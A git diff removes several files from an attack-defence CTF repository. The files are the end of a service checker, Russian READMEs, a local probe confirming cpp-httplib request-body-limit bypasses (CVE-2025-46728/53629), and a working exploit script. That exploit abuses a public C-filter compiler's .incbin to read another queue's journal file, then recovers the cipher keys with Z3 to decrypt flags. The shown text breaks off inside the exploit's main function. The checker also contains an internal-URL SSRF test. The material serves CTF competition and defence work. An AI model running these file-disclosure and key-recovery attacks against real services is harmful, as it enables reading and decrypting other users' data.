||||
require(isinstance(public.get("geometry"), str), "public flight view broke")
|
||||
parent = value(client.rpc("grant_geometry", owner, flight_id=flight), "grant_id", "grant_geometry")
|
||||
expires = int(time.time()) + 300
|
||||
client.rejected(
|
||||
"delegate", other, "invalid delegation", parent_id=parent,
|
||||
rights=["manifest.read"], expires=expires,
|
||||
)
|
||||
subset = value(
|
||||
client.rpc("delegate", other, parent_id=parent, rights=["geometry.read"], expires=expires),
|
||||
"grant_id", "delegate",
|
||||
)
|
||||
client.rejected("read_manifest", other, "forbidden", flight_id=flight, grant_id=subset)
|
||||
|
||||
client.rejected(
|
||||
"import_bulletin", other, "internal source forbidden",
|
||||
url="http://127.0.0.1:8080/internal/summaries/local-check",
|
||||
)
|
||||
if import_url is not None:
|
||||
imported = client.rpc("import_bulletin", other, url=import_url)
|
||||
import_id = value(imported, "import_id", "import_bulletin")
|
||||
content = value(imported, "content", "import_bulletin")
|
||||
require(import_contains is not None and import_contains in content, "bulletin content mismatch")
|
||||
reread = client.rpc("import_result", other, import_id=import_id)
|
||||
require(reread.get("content") == content, "stored import result mismatch")
|
||||
client.rejected("import_result", owner, "forbidden", import_id=import_id)
|
||||
|
||||
package = value(client.rpc("create_package", other), "package_id", "create_package")
|
||||
first, second = marker("REPORT1"), marker("REPORT2")
|
||||
require(client.upload(package, other, regular_tar(first)) == 200, "package PUT failed")
|
||||
require(client.upload(package, None, regular_tar(first)) == 400, "anonymous package PUT accepted")
|
||||
require(client.upload(package, owner, regular_tar(first)) == 400, "cross-user package PUT accepted")
|
||||
client.rpc("approve_package", other, package_id=package)
|
||||
result = client.rpc("generate_report", other, package_id=package, attachment="report.txt")
|
||||
require(result.get("report") == first, "approved report content mismatch")
|
||||
client.rejected(
|
||||
"generate_report", owner, "forbidden", package_id=package, attachment="report.txt"
|
||||
)
|
||||
require(client.upload(package, other, regular_tar(second)) == 200, "replacement PUT failed")
|
||||
client.rejected(
|
||||
"generate_report", other, "package not approved",
|
||||
package_id=package, attachment="report.txt",
|
||||
)
|
||||
client.rpc("approve_package", other, package_id=package)
|
||||
result = client.rpc("generate_report", other, package_id=package, attachment="report.txt")
|
||||
require(result.get("report") == second, "replacement report content mismatch")
|
||||
|
||||
invalid_package = value(
|
||||
client.rpc("create_package", other), "package_id", "create_package"
|
||||
)
|
||||
require(client.upload(invalid_package, other, b"not a tar") == 200, "invalid TAR upload failed")
|
||||
client.rejected("approve_package", other, "empty package", package_id=invalid_package)
|
||||
|
||||
status, raw = client.request(
|
||||
"/rpc", method="POST", body=b"{", headers={"Content-Type": "application/json"}
|
||||
)
|
||||
require(status == 400 and b'"ok":false' in raw, "malformed JSON was not rejected")
|
||||
client.rejected("read_summary", None, "missing token", summary_id=state["summary_id"])
|
||||
client.rejected("unknown_check_action", owner, "unknown action")
|
||||
status, _ = client.request("/does-not-exist")
|
||||
require(status == 404, "unknown route did not return 404")
|
||||
final_summary = client.rpc("read_summary", owner, summary_id=state["summary_id"])
|
||||
require(final_summary.get("content") == state["summary"], "final summary read failed")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--url", default="http://127.0.0.1:18086", help="isolated local service URL")
|
||||
parser.add_argument("--state", required=True, type=Path, help="private state file outside Git")
|
||||
parser.add_argument("--timeout", default=3.0, type=float, help="per-request timeout in seconds")
|
||||
parser.add_argument("--import-url", help="optional non-loopback local bulletin mock URL")
|
||||
parser.add_argument("--import-contains", help="expected substring from that mock bulletin")
|
||||
parser.add_argument("command", choices=("put", "get", "check", "all"))
|
||||
args = parser.parse_args()
|
||||
if args.timeout <= 0:
|
||||
parser.error("--timeout must be positive")
|
||||
if not args.url.startswith(("http://", "https://")):
|
||||
parser.error("--url must be HTTP(S)")
|
||||
if bool(args.import_url) != bool(args.import_contains):
|
||||
parser.error("--import-url and --import-contains must be supplied together")
|
||||
if args.import_url and not args.import_url.startswith("http://"):
|
||||
parser.error("--import-url must be an HTTP URL")
|
||||
client = Client(args.url, args.timeout)
|
||||
try:
|
||||
client.wait_ready()
|
||||
if args.command in ("put", "all"):
|
||||
state = put(client, args.state, args.import_url, args.import_contains)
|
||||
print("PASS put: five synthetic values stored and read")
|
||||
else:
|
||||
state = load_state(args.state)
|
||||
if args.command in ("get", "all"):
|
||||
get(client, state)
|
||||
print("PASS get: stored values, export, and package survived")
|
||||
if args.command in ("check", "all"):
|
||||
check(client, state, args.import_url, args.import_contains)
|
||||
print("PASS check: ownership, delegation, package, malformed requests")
|
||||
return 0
|
||||
except CheckFailure as error:
|
||||
print(f"FAIL: {error}", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,63 +0,0 @@
|
||||
# Lighthouse / cpp-httplib: локальная проверка четырёх CVE
|
||||
|
||||
Это отдельный PoC для одноразового локального контейнера Lighthouse. Он не
|
||||
принимает адрес цели и не является сплоитом Neo. Проверка отказа в обслуживании
|
||||
на игровом сервисе может нарушить SLA. Пункт 16 регламента (стр. 15 PDF
|
||||
`Положение GO CTF TATARSTAN 2026.pdf`) запрещает большой объём трафика,
|
||||
угрожающий стабильности систем организаторов или других команд.
|
||||
|
||||
## Источник и граница вывода
|
||||
|
||||
В `lighthouse/server/main.cpp` установлен `set_payload_max_length(32768)`.
|
||||
`lighthouse/Dockerfile` ставит Debian bookworm `libcpp-httplib-dev`; проверенный
|
||||
baseline image содержит `0.11.4+ds-1+deb12u1`. Для этой версии [Debian Security
|
||||
Tracker](https://security-tracker.debian.org/tracker/CVE-2025-53629) отмечает
|
||||
уязвимость. Уязвимый исходник upstream v0.11.4 в
|
||||
[`read_content`](https://github.com/yhirose/cpp-httplib/blob/v0.11.4/httplib.h)
|
||||
сравнивает `payload_max_length` только с `Content-Length`, пропуская ветку
|
||||
`Transfer-Encoding: chunked`.
|
||||
|
||||
| CVE | Проверка здесь | Вывод |
|
||||
| --- | --- | --- |
|
||||
| [CVE-2025-46728](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-px83-72rx-v57c) | Один полный chunked-запрос на 32769 байт и один контрольный `Content-Length` на столько же | Локально подтверждён обход настроенного лимита тела. Это не демонстрация исчерпания памяти. Исходный upstream PoC этой CVE имел неверно экранированные CRLF. |
|
||||
| [CVE-2025-53628](https://security-tracker.debian.org/tracker/CVE-2025-53628) | Только исходник `stream_line_reader::getline()` v0.11.4 | В цикле чтения строки нет предварительного лимита. `CPPHTTPLIB_HEADER_MAX_LENGTH` проверяется уже после чтения всей строки. Динамического измерения расхода памяти нет. |
|
||||
| [CVE-2025-53629](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-qjmq-h3cc-qv6w) | Тот же корректный chunked-запрос, что и для 46728 | Локально подтверждён тот же обход лимита. Это уточнённый случай после того, как исправление 0.20.1 устранило лишь чтение длинной строки. Независимого второго механизма здесь нет. |
|
||||
| [CVE-2026-45352](https://github.com/yhirose/cpp-httplib/security/advisories/GHSA-h6wq-j5mv-f3q8) | Только исходник `read_content_chunked()` v0.11.4 | `strtoul()` принимает ведущий минус, а проверка отвергает только `ULONG_MAX`. Отрицательный chunk size по сети не отправляется: эффект OOM/краха не тестировался. |
|
||||
|
||||
## Воспроизведение
|
||||
|
||||
Нужен локальный Docker daemon через Unix socket. Скрипт откажется работать с
|
||||
удалённым Docker context или `DOCKER_HOST` не вида `unix://`. Укажите заранее
|
||||
собранный образ уязвимой версии из коммита `4f70df5` или прежнего
|
||||
checker-compatible коммита `143182a`, а также образ патча. Текущий `main` уже
|
||||
может содержать исправление, поэтому его нельзя собирать как baseline:
|
||||
|
||||
```sh
|
||||
python3 sploits/lighthouse/cve_httplib_local/probe.py \
|
||||
--vulnerable-image lighthouse-cve-baseline:local \
|
||||
--patched-image lighthouse-cve-patched:local
|
||||
```
|
||||
|
||||
`--patched-image` можно опустить, если нужен только исходный контроль;
|
||||
к исправленному образу применяются те же два запроса. Для исходного
|
||||
образа ожидаются `Content-Length=413` и `chunked=201`; для исправленного —
|
||||
`413` и `413`. Ответ `201` содержит локальный `read_key`, поэтому скрипт
|
||||
выводит только коды HTTP и ID образа.
|
||||
|
||||
Скрипт создаёт один контейнер на образ с 128 MiB RAM, 1 CPU, 64 процессами,
|
||||
`read-only` rootfs и временными каталогами по 8 MiB. Порт публикуется только
|
||||
на случайном `127.0.0.1` порту хоста. На образ отправляются два законченных
|
||||
запроса размером менее 34 KiB каждый; на ожидание ответа выделено 2 секунды.
|
||||
Контейнер удаляется после проверки. Скрипт не отправляет бесконечные чанки,
|
||||
длинные строки или отрицательные размеры чанка.
|
||||
|
||||
Пример наблюдения 25.10.2026 на Mac arm64 (локальные disposable images):
|
||||
|
||||
```text
|
||||
baseline: Content-Length=413 chunked=201
|
||||
patched (image tag 0.43.4-arm-test): Content-Length=413 chunked=413
|
||||
```
|
||||
|
||||
Это доказывает прохождение сверхлимитного тела в старом контейнере и отказ в
|
||||
локальном кандидате, но не отсутствие других DoS, не качество checker и не
|
||||
состояние игровой vulnbox.
|
||||
@@ -1,175 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Bounded cpp-httplib CVE probe for a disposable, local Lighthouse container.
|
||||
|
||||
There is deliberately no remote target option. The test sends two HTTP requests
|
||||
per image: one Content-Length control and one correctly framed chunked request.
|
||||
The other two CVEs are source-only findings; this program never sends a long
|
||||
line or a negative chunk size.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import os
|
||||
import re
|
||||
import signal
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
import uuid
|
||||
from contextlib import contextmanager
|
||||
|
||||
BODY_LIMIT = 32_768 # lighthouse/server/main.cpp
|
||||
BASE_BODY = b'{"label":"local-cve-probe"}'
|
||||
BODY = BASE_BODY + b" " * (BODY_LIMIT + 1 - len(BASE_BODY))
|
||||
assert len(BODY) == BODY_LIMIT + 1
|
||||
MAX_WIRE_BYTES = 34_000
|
||||
MAX_CONTAINER_MEMORY = "128m"
|
||||
COMMAND_TIMEOUT = 15
|
||||
SOCKET_TIMEOUT = 2
|
||||
|
||||
|
||||
def docker(*args: str, timeout: int = COMMAND_TIMEOUT) -> str:
|
||||
result = subprocess.run(
|
||||
["docker", *args], capture_output=True, text=True, timeout=timeout,
|
||||
check=False,
|
||||
)
|
||||
if result.returncode:
|
||||
raise RuntimeError(f"docker {args[0]} failed: {result.stderr.strip()[:240]}")
|
||||
return result.stdout.strip()
|
||||
|
||||
|
||||
def require_local_docker() -> None:
|
||||
override = os.environ.get("DOCKER_HOST", "")
|
||||
endpoint = docker("context", "inspect", "--format", "{{.Endpoints.docker.Host}}")
|
||||
if not endpoint.startswith("unix://") or (override and not override.startswith("unix://")):
|
||||
raise RuntimeError("a local Unix-socket Docker daemon is required")
|
||||
|
||||
|
||||
def response_status(port: int, request: bytes) -> int:
|
||||
if len(request) > MAX_WIRE_BYTES:
|
||||
raise ValueError("request exceeds local wire-byte cap")
|
||||
with socket.create_connection(("127.0.0.1", port), timeout=SOCKET_TIMEOUT) as sock:
|
||||
sock.settimeout(SOCKET_TIMEOUT)
|
||||
sock.sendall(request)
|
||||
first = bytearray()
|
||||
while b"\r\n" not in first and len(first) < 256:
|
||||
data = sock.recv(256 - len(first))
|
||||
if not data:
|
||||
break
|
||||
first.extend(data)
|
||||
match = re.match(rb"HTTP/1\.[01] ([0-9]{3})\b", first)
|
||||
if not match:
|
||||
raise RuntimeError(f"no HTTP status, prefix={bytes(first[:48])!r}")
|
||||
return int(match.group(1))
|
||||
|
||||
|
||||
def request_with_length() -> bytes:
|
||||
return (
|
||||
b"POST /api/queues HTTP/1.1\r\n"
|
||||
b"Host: 127.0.0.1\r\n"
|
||||
b"Content-Type: application/json\r\n"
|
||||
+ f"Content-Length: {len(BODY)}\r\n".encode()
|
||||
+ b"Connection: close\r\n\r\n"
|
||||
+ BODY
|
||||
)
|
||||
|
||||
|
||||
def request_chunked() -> bytes:
|
||||
# A single complete chunk avoids any repeated-send/flood behavior.
|
||||
return (
|
||||
b"POST /api/queues HTTP/1.1\r\n"
|
||||
b"Host: 127.0.0.1\r\n"
|
||||
b"Content-Type: application/json\r\n"
|
||||
b"Transfer-Encoding: chunked\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
+ f"{len(BODY):x}\r\n".encode()
|
||||
+ BODY
|
||||
+ b"\r\n0\r\n\r\n"
|
||||
)
|
||||
|
||||
|
||||
def wait_ready(port: int) -> None:
|
||||
deadline = time.monotonic() + 6
|
||||
probe = (
|
||||
b"GET /api/health HTTP/1.1\r\nHost: 127.0.0.1\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
if response_status(port, probe) == 200:
|
||||
return
|
||||
except (OSError, RuntimeError):
|
||||
pass
|
||||
time.sleep(0.15)
|
||||
raise RuntimeError("disposable container did not become healthy within 6 s")
|
||||
|
||||
|
||||
@contextmanager
|
||||
def disposable_container(image: str):
|
||||
image_id = docker("image", "inspect", image, "--format", "{{.Id}}")
|
||||
name = "lighthouse-cve-local-" + uuid.uuid4().hex[:12]
|
||||
container = ""
|
||||
try:
|
||||
container = docker(
|
||||
"run", "--detach", "--rm", "--name", name,
|
||||
"--publish", "127.0.0.1::8080",
|
||||
"--memory", MAX_CONTAINER_MEMORY,
|
||||
"--memory-swap", MAX_CONTAINER_MEMORY,
|
||||
"--cpus", "1", "--pids-limit", "64",
|
||||
"--cap-drop", "ALL", "--security-opt", "no-new-privileges",
|
||||
"--read-only",
|
||||
"--tmpfs", "/data:rw,size=8m,mode=0700",
|
||||
"--tmpfs", "/var/log/lighthouse:rw,size=8m,mode=0700",
|
||||
"--tmpfs", "/srv/lighthouse/work:rw,size=8m,mode=0711",
|
||||
image,
|
||||
)
|
||||
port_result = docker("port", container, "8080/tcp")
|
||||
port_match = re.fullmatch(r"127\.0\.0\.1:([0-9]+)", port_result)
|
||||
if not port_match:
|
||||
raise RuntimeError(f"unexpected Docker port binding: {port_result!r}")
|
||||
port = int(port_match.group(1))
|
||||
wait_ready(port)
|
||||
yield image_id, port
|
||||
finally:
|
||||
if container:
|
||||
subprocess.run(["docker", "rm", "--force", container],
|
||||
capture_output=True, timeout=COMMAND_TIMEOUT, check=False)
|
||||
|
||||
|
||||
def run_one(label: str, image: str) -> None:
|
||||
with disposable_container(image) as (image_id, port):
|
||||
control = response_status(port, request_with_length())
|
||||
chunked = response_status(port, request_chunked())
|
||||
print(f"{label}: image={image_id} Content-Length={control} chunked={chunked}")
|
||||
if control == 413 and chunked == 201:
|
||||
print(f"{label}: CVE-2025-46728 / CVE-2025-53629 payload-limit bypass confirmed locally")
|
||||
elif control == 413 and chunked == 413:
|
||||
print(f"{label}: both over-limit encodings rejected")
|
||||
else:
|
||||
print(f"{label}: inconclusive; inspect the disposable image and route behavior")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("--vulnerable-image", required=True,
|
||||
help="prebuilt disposable Lighthouse image using cpp-httplib 0.11.4")
|
||||
parser.add_argument("--patched-image", help="optional prebuilt fixed-image control")
|
||||
args = parser.parse_args()
|
||||
try:
|
||||
require_local_docker()
|
||||
run_one("baseline", args.vulnerable_image)
|
||||
if args.patched_image:
|
||||
run_one("patched", args.patched_image)
|
||||
except (OSError, RuntimeError, subprocess.TimeoutExpired) as error:
|
||||
print(f"probe failed: {error}", file=sys.stderr)
|
||||
return 1
|
||||
print("CVE-2025-53628: source-only (no long-line allocation test)")
|
||||
print("CVE-2026-45352: source-only (no negative-size/OOM test)")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
signal.signal(signal.SIGTERM, lambda *_: sys.exit(143))
|
||||
raise SystemExit(main())
|
||||
@@ -1,67 +0,0 @@
|
||||
# Lighthouse flag hunt — baseline 4f70df55
|
||||
|
||||
Локальный PoC для разрешённого Attack–Defence сервиса. На входе один адрес
|
||||
цели и UUID очереди из актуального attack_data. Скрипт не получает read_key
|
||||
и не обращается к Skipper/Farm. В stdout пишет только строки официального
|
||||
формата [A-Z0-9]{31}=; диагностику и метрики пишет в stderr.
|
||||
|
||||
## Механизм
|
||||
|
||||
1. Публичный POST сообщения шифрует 48 выбранных 8-байтовых блоков под ключом
|
||||
указанной очереди. Блоки упакованы в одно base64-сообщение.
|
||||
2. Публичный компилятор C-фильтров на отдельной собственной очереди читает
|
||||
журнал цели через .incbin с ограниченными смещением и размером. Ответ
|
||||
listing содержит исходные hex-байты журнала. Собственная очередь исключает
|
||||
удаление истории фильтров жертвы при многократной компиляции.
|
||||
3. Из 48 plaintext/ciphertext пар Z3 восстанавливает эквивалентные шесть
|
||||
32-битных ключей блочного шифра. Они расшифровывают последние записи
|
||||
журнала; исходный read_key не восстанавливается и не нужен.
|
||||
|
||||
Для файла журнала используется дата создания очереди из публичного GET
|
||||
/api/queues/<UUID>. Чтение ограничено последними 8192 байтами до собственной
|
||||
записи. Скрипт прекращает работу после 30 секунд. HTTP-запросы идут только
|
||||
на переданный адрес; системные proxy отключены.
|
||||
|
||||
## Запуск и интеграция
|
||||
|
||||
# z3-solver установить на инструментальном хосте ДО игры из wheel cache
|
||||
python3 -m pip install --no-index --find-links /path/to/preloaded-wheels -r requirements.txt
|
||||
python3 probe.py 127.0.0.1:8085 UUID_ИЗ_ATTACK_DATA
|
||||
|
||||
UUID можно передать через LIGHTHOUSE_QUEUE_ID, оставив один аргумент адреса.
|
||||
UUID должен прийти из свежих подсказок Skipper, не из публичного перебора.
|
||||
Формат можно изменить через LIGHTHOUSE_FLAG_REGEX. Текущий шаблон из
|
||||
регламента — [A-Z0-9]{31}=.
|
||||
|
||||
Neo-интеграция ещё не подтверждена: требуется адаптер attack_data для UUID
|
||||
на конкретной цели, Linux x86_64 wheel z3-solver==5.3.1.0 заранее в worker
|
||||
и neo test на одной разрешённой цели. Локальные тесты на macOS и Docker не
|
||||
доказывают совместимость worker, checker=OK или accepted.
|
||||
|
||||
## Синтетические проверки
|
||||
|
||||
- Docker image baseline goctf-lighthouse-baseline:4f70df55, отдельный
|
||||
одноразовый контейнер, только loopback. Live vulnbox не использовался.
|
||||
- Свежая очередь, заранее записанный неизвестный скрипту синтетический флаг:
|
||||
полный проход через публичные API выдал его точно, без read_key.
|
||||
Независимый агент повторил на своём контейнере: 28 HTTP, 2.074 с, также
|
||||
расшифровал ранее не использованное в решении случайное сообщение.
|
||||
- При 20 коротких старых записях (журнал около 2.3 КБ): 43 HTTP,
|
||||
40 compile, 1.725 с всего, из них 1.470 с HTTP и 0.246 с solver.
|
||||
При 65 записях (около 7.0 КБ): 45 HTTP, 42 compile, 1.860 с всего,
|
||||
из них 1.557 с HTTP и 0.292 с solver. Оба прохода выдали ровно один
|
||||
синтетический флаг официального формата. В другом локальном прогоне
|
||||
эти же размеры заняли 3.832 и 6.728 с; время зависит от ресурса хоста.
|
||||
|
||||
## Пределы и безопасное копирование
|
||||
|
||||
Работает на исходной ревизии с читаемым для nobody журналом. Кандидат патча
|
||||
0700/0600 должен закрыть этот путь; после патча эксплуатация не проверялась.
|
||||
При слишком большом журнале, конкурирующей записи или отсутствии флага в
|
||||
последних 8192 байтах скрипт может завершиться без флага. Он не гарантирует
|
||||
зачёт и не сдаёт флаги.
|
||||
|
||||
Для переноса копировать только probe.py, requirements.txt, README.md из
|
||||
этой папки. Не переносить __pycache__, локальное Python-окружение,
|
||||
синтетические state-файлы, ключи, флаги или результаты тестов. Каталог
|
||||
не является частью сервисного исходника и не должен попадать на vulnbox.
|
||||
@@ -1,315 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Lighthouse baseline local PoC. One explicit target and one queue hint."""
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from urllib.parse import urlparse
|
||||
|
||||
try:
|
||||
import z3
|
||||
except ImportError:
|
||||
print("z3-solver is required in the runner", file=sys.stderr)
|
||||
raise SystemExit(2)
|
||||
|
||||
MARKER = bytes.fromhex("4101410241034104")
|
||||
END_MARKER = bytes.fromhex("4105410641074108")
|
||||
UUID = re.compile(r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$")
|
||||
HEX_LINES = re.compile(r"^ *[0-9a-f]+: ((?:[0-9a-f]{2} )+) *\t", re.M)
|
||||
LINE = re.compile(rb"topic=([a-z0-9_.-]+) ciphertext=([0-9a-f]+)")
|
||||
HTTP_CALLS = 0
|
||||
COMPILE_CALLS = 0
|
||||
HTTP_SECONDS = 0.0
|
||||
SOLVE_SECONDS = 0.0
|
||||
|
||||
|
||||
class Failure(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def symbolic_f(x):
|
||||
a, b, c, d = [z3.Extract(h, l, x) for h, l in ((31, 24), (23, 16), (15, 8), (7, 0))]
|
||||
def g(u, v, carry):
|
||||
return z3.RotateLeft(u + v + z3.BitVecVal(carry, 8), 2)
|
||||
y1 = g(a ^ b, c ^ d, 1)
|
||||
y2 = g(c ^ d, y1, 0)
|
||||
return z3.Concat(g(a, y1, 0), y1, y2, g(d, y2, 1))
|
||||
|
||||
|
||||
def f(x):
|
||||
a, b, c, d = (x >> 24) & 255, (x >> 16) & 255, (x >> 8) & 255, x & 255
|
||||
def g(u, v, carry):
|
||||
value = (u + v + carry) & 255
|
||||
return ((value << 2) | (value >> 6)) & 255
|
||||
y1 = g(a ^ b, c ^ d, 1)
|
||||
y2 = g(c ^ d, y1, 0)
|
||||
return g(a, y1, 0) << 24 | y1 << 16 | y2 << 8 | g(d, y2, 1)
|
||||
|
||||
|
||||
def solve_effective(pairs):
|
||||
"""Recover equivalent six 32-bit block keys; eight xor groups, six pairs each."""
|
||||
bv = lambda n: z3.BitVecVal(n, 32)
|
||||
def checked(solver, variables):
|
||||
solver.set(timeout=4000)
|
||||
if solver.check() != z3.sat:
|
||||
raise Failure("effective-key solver did not finish")
|
||||
model = solver.model()
|
||||
return [model.eval(v).as_long() for v in variables]
|
||||
|
||||
k3, kx = z3.BitVec("k3", 32), z3.BitVec("kx", 32)
|
||||
dg = [z3.BitVec("d" + str(i), 32) for i in range(8)]
|
||||
stage = z3.SolverFor("QF_BV")
|
||||
for group in range(8):
|
||||
for left, right, top, bottom in pairs[group]:
|
||||
stage.add(bv(top) ^ symbolic_f(bv(top ^ bottom) ^ k3) ==
|
||||
bv(left ^ right) ^ kx ^ symbolic_f(bv(left) ^ dg[group]))
|
||||
k3v, kxv, *dgv = checked(stage, [k3, kx, *dg])
|
||||
|
||||
k2, k1 = z3.BitVec("k2", 32), z3.BitVec("k1", 32)
|
||||
stage = z3.SolverFor("QF_BV")
|
||||
for group in range(8):
|
||||
for left, _right, top, bottom in pairs[group]:
|
||||
y2 = top ^ bottom
|
||||
y1 = bv(top) ^ symbolic_f(bv(y2 ^ k3v))
|
||||
stage.add(bv(y2 ^ left) == bv(dgv[group]) ^ k1 ^ symbolic_f(y1 ^ k2))
|
||||
k2v, k1v = checked(stage, [k2, k1])
|
||||
|
||||
cv = [d ^ k1v for d in dgv]
|
||||
xv = [group[0][0] ^ group[0][1] ^ kxv for group in pairs]
|
||||
k0 = z3.BitVec("k0", 32)
|
||||
stage = z3.SolverFor("QF_BV")
|
||||
for group in range(1, 8):
|
||||
stage.add(bv(cv[0] ^ cv[group]) ==
|
||||
symbolic_f(bv(xv[0]) ^ k0) ^ symbolic_f(bv(xv[group]) ^ k0))
|
||||
(k0v,) = checked(stage, [k0])
|
||||
k4v = cv[0] ^ f(xv[0] ^ k0v)
|
||||
keys = [k0v, k1v, k2v, k3v, k4v, k4v ^ kxv]
|
||||
for group in pairs:
|
||||
for left, right, top, bottom in group:
|
||||
x = left ^ keys[4] ^ right ^ keys[5]
|
||||
y = (left ^ keys[4]) ^ f(x ^ keys[0])
|
||||
for rnd in (1, 2):
|
||||
x, y = y, x ^ f(y ^ keys[rnd])
|
||||
last = x ^ f(y ^ keys[3])
|
||||
if last != top or (last ^ y) != bottom:
|
||||
raise Failure("recovered keys fail known-pair validation")
|
||||
return keys
|
||||
|
||||
|
||||
def decrypt(cipher_hex, keys):
|
||||
raw = bytes.fromhex(cipher_hex.decode("ascii"))
|
||||
if not raw or len(raw) % 8:
|
||||
return b""
|
||||
out = bytearray()
|
||||
for i in range(0, len(raw), 8):
|
||||
value = int.from_bytes(raw[i:i + 8], "big")
|
||||
x = value >> 32
|
||||
y = (value & 0xffffffff) ^ x
|
||||
for rnd in (3, 2, 1):
|
||||
x, y = y, x ^ f(y ^ keys[rnd])
|
||||
first = x ^ f(y ^ keys[0])
|
||||
out.extend((((first ^ keys[4]) << 32) | (first ^ y ^ keys[5])).to_bytes(8, "big"))
|
||||
padding = out[-1]
|
||||
if not 1 <= padding <= 8 or out[-padding:] != bytes([padding]) * padding:
|
||||
return b""
|
||||
return bytes(out[:-padding])
|
||||
|
||||
|
||||
class Client:
|
||||
def __init__(self, url, deadline):
|
||||
self.url = url
|
||||
self.deadline = deadline
|
||||
self.compiler_queue = None
|
||||
self.opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
|
||||
def api(self, path, body=None):
|
||||
global HTTP_CALLS, HTTP_SECONDS
|
||||
left = self.deadline - time.monotonic()
|
||||
if left <= 0:
|
||||
raise Failure("time budget exceeded")
|
||||
data = json.dumps(body).encode() if body is not None else None
|
||||
request = urllib.request.Request(
|
||||
self.url + path, data=data, headers={"Content-Type": "application/json"})
|
||||
started = time.monotonic()
|
||||
try:
|
||||
HTTP_CALLS += 1
|
||||
with self.opener.open(request, timeout=min(3, left)) as response:
|
||||
return response.status, json.load(response)
|
||||
except urllib.error.HTTPError as error:
|
||||
try:
|
||||
return error.code, json.load(error)
|
||||
except ValueError:
|
||||
raise Failure("non-JSON service error") from error
|
||||
except (OSError, ValueError) as error:
|
||||
raise Failure("HTTP request failed") from error
|
||||
finally:
|
||||
HTTP_SECONDS += time.monotonic() - started
|
||||
|
||||
def compile(self, path, offset, count):
|
||||
global COMPILE_CALLS
|
||||
COMPILE_CALLS += 1
|
||||
asm = (".byte 0x41,0x01,0x41,0x02,0x41,0x03,0x41,0x04\n"
|
||||
+ f'.incbin "{path}",{offset},{count}\n'
|
||||
+ ".byte 0x41,0x05,0x41,0x06,0x41,0x07,0x41,0x08")
|
||||
source = "int filter(int n) { __asm__(" + json.dumps(asm) + "); return 1; }"
|
||||
return self.api(f"/api/queues/{self.compiler_queue}/filter",
|
||||
{"source": source, "label": "probe"})
|
||||
|
||||
@staticmethod
|
||||
def embedded_bytes(body):
|
||||
listing = body.get("listing", "")
|
||||
raw = bytes.fromhex("".join(m.group(1).replace(" ", "")
|
||||
for m in HEX_LINES.finditer(listing)))
|
||||
start = raw.find(MARKER)
|
||||
end = raw.find(END_MARKER, start + len(MARKER)) if start >= 0 else -1
|
||||
if start < 0 or end < 0:
|
||||
raise Failure("compiler listing omitted journal markers")
|
||||
return raw[start + len(MARKER):end]
|
||||
|
||||
def valid_offset(self, path, offset):
|
||||
status, body = self.compile(path, offset, 1)
|
||||
return status == 200 and len(self.embedded_bytes(body)) == 1
|
||||
|
||||
def file_size(self, path):
|
||||
if not self.valid_offset(path, 0):
|
||||
raise Failure("journal missing or compiler cannot read it")
|
||||
low, high = 1, 2
|
||||
while True:
|
||||
if not self.valid_offset(path, high - 1):
|
||||
break
|
||||
low, high = high, high * 2
|
||||
if high > 32 * 1024 * 1024:
|
||||
raise Failure("journal exceeds bounded size probe")
|
||||
while low < high:
|
||||
mid = (low + high) // 2
|
||||
if self.valid_offset(path, mid):
|
||||
low = mid + 1
|
||||
else:
|
||||
high = mid
|
||||
return low
|
||||
|
||||
def leak(self, path, start, end):
|
||||
out = bytearray()
|
||||
for offset in range(start, end, 192):
|
||||
count = min(192, end - offset)
|
||||
status, body = self.compile(path, offset, count)
|
||||
if status != 200:
|
||||
raise Failure("journal chunk compile failed")
|
||||
leaked = self.embedded_bytes(body)
|
||||
if len(leaked) != count:
|
||||
raise Failure("compiler listing omitted journal bytes")
|
||||
out.extend(leaked)
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def main():
|
||||
global SOLVE_SECONDS
|
||||
if len(sys.argv) < 2:
|
||||
raise Failure("usage: probe.py TARGET [QUEUE_UUID]")
|
||||
target = sys.argv[1]
|
||||
queue = sys.argv[2] if len(sys.argv) > 2 else os.getenv("LIGHTHOUSE_QUEUE_ID", "")
|
||||
if not UUID.fullmatch(queue):
|
||||
raise Failure("missing or invalid queue UUID hint")
|
||||
if "://" not in target:
|
||||
target = "http://" + target
|
||||
parsed = urlparse(target)
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise Failure("invalid target")
|
||||
port = parsed.port or 8085
|
||||
base = f"{parsed.scheme}://{parsed.hostname}:{port}"
|
||||
client = Client(base, time.monotonic() + 30)
|
||||
status, info = client.api(f"/api/queues/{queue}")
|
||||
if status != 200:
|
||||
raise Failure("target queue unavailable")
|
||||
day = info.get("created_at", "")[:10]
|
||||
if not re.fullmatch(r"\d{4}-\d{2}-\d{2}", day):
|
||||
raise Failure("invalid queue creation date")
|
||||
journal = f"/var/log/lighthouse/{day}/{queue}.log"
|
||||
status, attacker = client.api("/api/queues", {"label": "probe"})
|
||||
if status != 201 or not UUID.fullmatch(attacker.get("id", "")):
|
||||
raise Failure("cannot create compiler queue")
|
||||
client.compiler_queue = attacker["id"]
|
||||
size_before = client.file_size(journal)
|
||||
|
||||
rng = random.Random(753981)
|
